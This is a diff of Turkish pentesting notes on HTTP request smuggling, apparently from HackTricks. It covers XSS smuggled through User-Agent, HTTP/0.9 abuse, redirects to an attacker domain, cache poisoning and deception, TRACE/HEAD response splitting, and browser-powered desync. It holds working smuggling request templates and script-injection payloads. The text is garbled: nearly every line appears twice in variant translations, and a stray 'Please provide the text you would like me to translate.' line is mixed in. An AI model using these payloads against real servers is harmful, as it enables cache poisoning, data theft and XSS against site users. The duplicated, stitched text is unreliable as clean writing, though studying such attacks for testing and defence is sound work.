3. Ardından, `User-Agent` başlığına bir script, `<script>alert(1)</script>`, enjekte edilen smuggled bir `GET` isteği tanıtmak; bu, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
1. Görünüşte tipik bir `POST` isteği başlatmak, smuggling'in başlangıcını belirtmek için `Transfer-Encoding: chunked` başlığı ile.
2. Ardından, chunked mesaj gövdesinin sonunu işaret eden bir `0` ile devam etmek.
3. Sonra, `User-Agent` başlığına bir script enjekte edilen smuggled bir `GET` isteği tanıtılır; `<script>alert(1)</script>`, sunucu bu sonraki isteği işlediğinde XSS'i tetikler.
`User-Agent`'ı smuggling ile manipüle ederek, payload normal istek kısıtlamalarını aşar ve böylece yansıtılan XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
`User-Agent`'ı smuggling ile manipüle ederek, payload normal istek kısıtlamalarını aşar ve böylece Yansıtılan XSS zafiyetini standart dışı ama etkili bir şekilde istismar eder.
#### HTTP/0.9
> [!CAUTION]
> Kullanıcı içeriği, **`Content-type`** olarak **`text/plain`** gibi bir yanıt içinde yansıtılırsa, XSS'in çalışmasını engeller. Sunucu **HTTP/0.9**'u destekliyorsa, bunu aşmak mümkün olabilir!
> Kullanıcı içeriği, **`Content-type`** gibi bir yanıtla yansıtıldığında **`text/plain`**, XSS'in çalışmasını engelleyebilir. Sunucu **HTTP/0.9**'u destekliyorsa, bunu aşmak mümkün olabilir!
HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiillerini kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.
HTTP/0.9 sürümü, 1.0'dan önceydi ve yalnızca **GET** fiilleri kullanır ve **başlıklar** ile yanıt vermez, sadece gövdeyi kullanır.
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek bir zayıf uç nokta** ile istismar edilmiştir; HTTP/0.9 ile bir istek smuggling yapmak için. Yanıtta yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu ile `Content-Type` olarak `text/html` içerecektir.
[**bu yazıda**](https://mizu.re/post/twisty-python), bir istek smuggling ile ve **kullanıcının girişi ile yanıt verecek zayıf bir uç nokta** kullanılarak HTTP/0.9 ile bir istek smuggling yapıldı. Yanıtta yansıtılacak parametre, **geçerli başlıklar ve gövde ile sahte bir HTTP/1.1 yanıtı** içeriyordu, böylece yanıt geçerli çalıştırılabilir JS kodu içerecek ve `Content-Type` olarak `text/html` olacak.
### HTTP İstek Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### HTTP İsteği Smuggling ile Yerinde Yönlendirmeleri İstismar Etme <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Uygulamalar genellikle yönlendirme URL'sindeki `Host` başlığından hostname kullanarak bir URL'den diğerine yönlendirir. Bu, Apache ve IIS gibi web sunucularında yaygındır. Örneğin, bir klasörü sonuna eğik çizgi olmadan istemek, eğik çizgiyi dahil etmek için bir yönlendirme ile sonuçlanır:
```
@ -464,17 +570,17 @@ Sonuçlar:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
Bu senaryoda, bir kullanıcının JavaScript dosyası için yaptığı istek ele geçirilir. Saldırgan, kötü niyetli JavaScript'i yanıt olarak sunarak kullanıcıyı tehlikeye atabilir.
Bu senaryoda, bir kullanıcının JavaScript dosyası talebi ele geçirilir. Saldırgan, kötü niyetli JavaScript sunarak kullanıcıyı tehlikeye atabilir.
### HTTP Request Smuggling ile Web Cache Poisoning Sömürüsü <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Web cache poisoning, **ön uç altyapısının içerik önbelleğe alması** durumunda gerçekleştirilebilir; bu genellikle performansı artırmak için yapılır. Sunucunun yanıtını manipüle ederek, **önbelleği zehirlemek** mümkündür.
Daha önce, sunucu yanıtlarının 404 hatası döndürmek için nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` isteğine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine ve potansiyel olarak bir Hizmet Reddi (DoS) durumuna yol açar.
Daha önce, sunucu yanıtlarının 404 hatası dönecek şekilde nasıl değiştirilebileceğini gözlemledik (bkz. [Temel Örnekler](#basic-examples)). Benzer şekilde, sunucuyu `/static/include.js` talebine yanıt olarak `/index.html` içeriği sunmaya kandırmak mümkündür. Sonuç olarak, `/static/include.js` içeriği önbellekte `/index.html` ile değiştirilir, bu da `/static/include.js`'nin kullanıcılara erişilemez hale gelmesine neden olur ve bu durum bir Hizmet Reddi (DoS) ile sonuçlanabilir.
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** olduğunda özellikle güçlü hale gelir. Bu tür açıklar, saldırganın kontrolündeki bir betikle `/static/include.js`'nin önbelleğe alınmış içeriğini değiştirmek için sömürülebilir ve bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısını mümkün kılar.
Bu teknik, bir **Açık Yönlendirme açığı** keşfedildiğinde veya **açık yönlendirmeye yerel bir yönlendirme** olduğunda özellikle güçlü hale gelir. Bu tür açıklar, `/static/include.js`'nin önbelleğe alınmış içeriğini saldırganın kontrolündeki bir betikle değiştirmek için sömürülebilir; bu da güncellenmiş `/static/include.js`'yi talep eden tüm istemcilere karşı yaygın bir Cross-Site Scripting (XSS) saldırısına olanak tanır.
Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, saldırgan tarafından kontrol edilen JavaScript kodunu sunmak için `/static/include.js`'nin önbellek içeriğini değiştirmektir:
Aşağıda, **önbellek zehirlenmesi ile açık yönlendirmeye yerel bir yönlendirme** kombinasyonunun sömürülmesine dair bir illüstrasyon bulunmaktadır. Amaç, `/static/include.js`'nin önbellek içeriğini saldırganın kontrolündeki JavaScript kodunu sunacak şekilde değiştirmektir:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -492,18 +598,18 @@ Content-Length: 10
x=1
```
Not edin ki, `/post/next?postId=3` hedefleyen gömülü istek. Bu istek, **Host header değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host header'ını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
Not edin ki gömülü istek `/post/next?postId=3` hedef alıyor. Bu istek, **Host header değeri** kullanılarak alan adını belirlemek için `/post?postId=4`'e yönlendirilecektir. **Host header'ını** değiştirerek, saldırgan isteği kendi alanına yönlendirebilir (**yerinde yönlendirme ile açık yönlendirme**).
Başarılı **socket poisoning**'den sonra, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
Başarılı bir **socket poisoning** sonrasında, `/static/include.js` için bir **GET isteği** başlatılmalıdır. Bu istek, önceki **yerinde yönlendirme ile açık yönlendirme** isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen scriptin içeriğini alacaktır.
Sonrasında, `/static/include.js` için yapılan herhangi bir istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir şekilde geniş bir XSS saldırısını başlatacaktır.
Sonrasında, `/static/include.js` için yapılan herhangi bir istek, saldırganın scriptinin önbelleğe alınmış içeriğini sunacak ve etkili bir geniş XSS saldırısını başlatacaktır.
### HTTP istek kaçırma kullanarak web önbellek aldatması gerçekleştirme <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Web önbellek zehirlenmesi ile web önbellek aldatması arasındaki fark nedir?**
>
> - **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
> - **Web önbellek aldatması**'nda, saldırgan uygulamanın önbellekte başka bir kullanıcıya ait bazı hassas içerikleri saklamasına neden olur ve saldırgan daha sonra bu içeriği önbellekten alır.
> - **Web önbellek zehirlenmesi**'nde, saldırgan uygulamanın önbellekte bazı kötü niyetli içerikleri saklamasını sağlar ve bu içerik diğer uygulama kullanıcılarına önbellekten sunulur.
> - **Web önbellek aldatması**'nda, saldırgan uygulamanın başka bir kullanıcıya ait bazı hassas içerikleri önbellekte saklamasını sağlar ve ardından bu içeriği önbellekten geri alır.
Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış bir istek hazırlar. Aşağıdaki örneği düşünün:
```markdown
@ -516,17 +622,17 @@ Saldırgan, hassas kullanıcıya özel içeriği alacak şekilde kaçırılmış
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), kurbanın `/private/messages` adresindeki hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
Eğer bu kaçak istek, statik içerik için tasarlanmış bir önbellek girişini zehirliyorsa (örneğin, `/someimage.png`), kurbanın `/private/messages`'dan gelen hassas verileri statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verilere erişim sağlayabilir.
### HTTP Request Smuggling ile TRACE İstismar Etme <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) sunulmuştur ki, eğer sunucuda TRACE yöntemi etkinse, HTTP Request Smuggling ile istismar edilmesi mümkün olabilir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
[**Bu yazıda**](https://portswigger.net/research/trace-desync-attack) eğer sunucuda TRACE yöntemi etkinse, bunun HTTP Request Smuggling ile istismar edilebileceği önerilmektedir. Bunun nedeni, bu yöntemin sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtmasıdır. Örneğin:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please provide the text you would like me to translate.
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -537,15 +643,15 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve hemen ardından **HEAD isteğinden sonra bir TRACE isteği sızdırmak**, bu da **gönderilen verileri yansıtacaktır**.\
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek, dolayısıyla yanıt içinde keyfi verileri yansıtacaktır**.\
Bu yanıt, bağlantı üzerindeki bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin keyfi JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.
Bir davranışı kötüye kullanma örneği, **önce bir HEAD isteği sızdırmak** olacaktır. Bu istek, yalnızca bir GET isteğinin **başlıklarıyla** yanıtlanacaktır (**`Content-Type`** bunlar arasında). Ve **HEAD'den hemen sonra bir TRACE isteği sızdırmak**, bu da **gönderilen verileri yansıtacaktır**.\
HEAD yanıtı bir `Content-Length` başlığı içereceğinden, **TRACE isteğinin yanıtı HEAD yanıtının gövdesi olarak işlenecek, dolayısıyla yanıt içinde rastgele verileri yansıtacaktır**.\
Bu yanıt, bağlantı üzerinden bir sonraki isteğe gönderilecektir, bu nedenle bu, **örneğin rastgele JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir**.
### HTTP Yanıt Bölme ile TRACE Kötüye Kullanımı <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Yorumlandığı gibi, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığında belirtilmiştir ve TRACE isteğine verilen yanıtla oluşmaktadır.
[**bu gönderiyi**](https://portswigger.net/research/trace-desync-attack) takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunu önermektedir. Belirtilenlere göre, bir HEAD isteği ve bir TRACE isteği sızdırarak, HEAD isteğine yanıt olarak **yansıtılan bazı verileri kontrol etmek** mümkündür. HEAD isteğinin gövdesinin uzunluğu esasen Content-Length başlığıyla belirtilir ve TRACE isteğine verilen yanıtla oluşur.
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamaktır; bu, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanır (bu, bir önbellek zehirlemesi gerçekleştirmek için kullanılabilir).
Bu nedenle, yeni fikir, bu Content-Length ve TRACE yanıtındaki verileri bilerek, TRACE yanıtının Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak, bir saldırganın bir sonraki yanıt için isteği tamamen kontrol etmesine olanak tanımaktır (bu, bir önbellek zehirlemesi gerçekleştirmek için kullanılabilir).
Örnek:
```
@ -566,7 +672,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length'e sahip olduğunu ve TRACE yanıtının HEAD gövdesinin bir parçası haline geldiğini, HEAD Content-Length'i sona erdiğinde geçerli bir HTTP yanıtının sızdırıldığını not edin):
Bu yanıtları oluşturacaktır (HEAD yanıtının bir Content-Length'e sahip olduğunu ve TRACE yanıtının HEAD gövdesinin bir parçası haline geldiğini ve HEAD Content-Length'i sona erdiğinde geçerli bir HTTP yanıtının sızdırıldığını not edin):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -587,7 +693,7 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### HTTP İstek Kaçırmayı HTTP Yanıtı Senkronizasyonu ile Silahlandırma
### HTTP İstek Kaçırmayı HTTP Yanıt Senkronizasyonu ile Silahlandırma
Bir HTTP İstek Kaçırma açığı buldunuz ve bunu nasıl istismar edeceğinizi bilmiyorsunuz. Bu diğer istismar yöntemlerini deneyin:
@ -698,12 +804,14 @@ table.add(req)
```
## Araçlar
- HTTP Hacker (Burp BApp Store) birleştirme/çerçeveleme ve düşük seviyeli HTTP davranışını görselleştirir
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Özel Eylemi "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, garip istek kaçırma tutarsızlıklarını bulmak için yararlı olan dil bilgisi tabanlı bir HTTP Fuzzer'dır.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Bu araç, garip istek smuggling tutarsızlıklarını bulmak için yararlı olan dil bilgisi tabanlı bir HTTP Fuzzer'dır.
## Referanslar
@ -716,6 +824,10 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Yanlış pozitiflere dikkat: HTTP pipelining'i istek smuggling'den nasıl ayırt edersiniz [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Tarayıcı Destekli Desync Saldırıları [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy istemci tarafı desync [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,23 @@
# Tarayıcı HTTP İstek Sızdırma
# Tarayıcı HTTP İstek Kaçırma
{{#include ../../banners/hacktricks-training.md}}
**Gönderiyi kontrol et [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
Tarayıcı destekli desenkronizasyon (aka istemci tarafı istek kaçırma), kurbanın tarayıcısını, paylaşılan bir bağlantıya yanlış çerçevelenmiş bir isteği eklemek için kullanır, böylece sonraki istekler bir aşağı akış bileşeni tarafından senkronize edilmeden ayrıştırılır. Klasik FE↔BE kaçırmadan farklı olarak, yükler, bir tarayıcının yasal olarak çapraz köken üzerinden gönderebileceği şeylerle sınırlıdır.
Ana kısıtlamalar ve ipuçları
- Sadece bir tarayıcının gezinme, fetch veya form gönderimi aracılığıyla yayabileceği başlıklar ve sözdizimi kullanın. Başlık karartmaları (LWS hileleri, yinelenen TE, geçersiz CL) genellikle gönderilmeyecektir.
- Girdi yansıtan veya yanıtları önbelleğe alan uç noktaları ve aracılara hedefleyin. Kullanışlı etkiler arasında önbellek zehirlenmesi, ön uçta enjekte edilen başlıkların sızdırılması veya ön uç yol/yöntem kontrollerinin atlatılması yer alır.
- Yeniden kullanım önemlidir: oluşturulan isteği, yüksek değerli bir kurban isteği ile aynı HTTP/1.1 veya H2 bağlantısını paylaşacak şekilde hizalayın. Bağlantı kilitli/durumlu davranışlar etkiyi artırır.
- Özel başlık gerektirmeyen ilkelere öncelik verin: yol karışıklığı, sorgu dizesi enjeksiyonu ve form kodlu POST'lar aracılığıyla gövde şekillendirme.
- Gerçek sunucu tarafı desenkronizasyonunu, yalnızca borulama kalıntılarıyla ayırt etmek için yeniden test ederek veya HTTP/2 iç içe yanıt kontrolünü kullanarak doğrulayın.
Uçtan uca teknikler ve PoC'ler için bakın:
- PortSwigger Araştırma Tarayıcı Destekli Desenkronizasyon Saldırıları: https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Akademi istemci tarafı desenkronizasyon: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
## Referanslar
- [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- Borulama ile kaçırmayı ayırt etme (yeniden kullanım yanlış pozitifleri hakkında arka plan): https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
{{#include ../../banners/hacktricks-training.md}}